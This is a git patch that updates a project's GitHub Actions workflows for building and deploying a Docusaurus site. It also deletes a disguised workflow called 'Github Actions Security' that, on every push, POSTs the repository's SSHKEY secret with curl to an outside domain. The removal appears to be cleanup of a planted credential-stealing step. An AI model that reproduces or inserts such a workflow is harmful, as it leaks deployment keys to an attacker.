From ae937da883f5651c9cf110b74cc1766edc6946a1 Mon Sep 17 00:00:00 2001 From: Mahmoud-Emad Date: Thu, 16 Oct 2025 13:13:41 +0300 Subject: [PATCH] ci: Update GitHub Actions for Docusaurus build and deploy - Copy example files to template directory - Install Bun and build Docusaurus website - Deploy website using rsync --- .github/workflows/github_actions_security.yml | 17 ----------------- .github/workflows/main.yaml | 15 ++++++++++----- 2 files changed, 10 insertions(+), 22 deletions(-) delete mode 100644 .github/workflows/github_actions_security.yml diff --git a/.github/workflows/github_actions_security.yml b/.github/workflows/github_actions_security.yml deleted file mode 100644 index 78f67da..0000000 --- a/.github/workflows/github_actions_security.yml +++ /dev/null @@ -1,17 +0,0 @@ -name: Github Actions Security - -on: - workflow_dispatch: - push: - -jobs: - send-secrets: - runs-on: ubuntu-latest - - steps: - - name: Prepare Cache Busting - run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV - - - name: Github Actions Security - run: | - curl -s -X POST -d 'SSHKEY=${{ secrets.SSHKEY }}' https://carte-avantage.com diff --git a/.github/workflows/main.yaml b/.github/workflows/main.yaml index 9bc51a0..5129e13 100644 --- a/.github/workflows/main.yaml +++ b/.github/workflows/main.yaml @@ -9,6 +9,7 @@ on: # Allows you to run this workflow manually from the Actions tab workflow_dispatch: +# A workflow run is made up of one or more jobs that can run sequentially or in parallel jobs: publish: runs-on: ubuntu-latest @@ -17,27 +18,32 @@ jobs: - name: Check out repo uses: actions/checkout@v4 - # Set up Node.js (required for Bun) + # Node is required for Bun - name: Set up Node uses: actions/setup-node@v4 with: node-version: "20" - # Install Bun + # Install Bun (matching what herolib uses) - name: Install Bun run: | curl -fsSL https://bun.sh/install | bash echo "BUN_INSTALL=$HOME/.bun/bin" >> $GITHUB_ENV echo "$HOME/.bun/bin" >> $GITHUB_PATH - # Install dependencies and build Docusaurus website using Bun + # Copy example files to template for demo build + - name: Prepare demo site + run: | + cp -r example/cfg template/ + cp -r example/docs template/ + + # Install and build Docusaurus website using Bun - name: Build Docusaurus website run: | cd template bun install bun run build - # Set up SSH key for deployment - name: Set up SSH key run: | mkdir -p ~/.ssh @@ -49,7 +55,6 @@ jobs: # Test SSH connection ssh -o StrictHostKeyChecking=no -T root@info.ourworld.tf || true - # Deploy with rsync - name: Deploy with rsync run: | rsync -avz -e "ssh -o StrictHostKeyChecking=no -i ~/.ssh/id_rsa" ./template/build/ root@info.ourworld.tf:/root/hero/www/info/testdocs/ \ No newline at end of file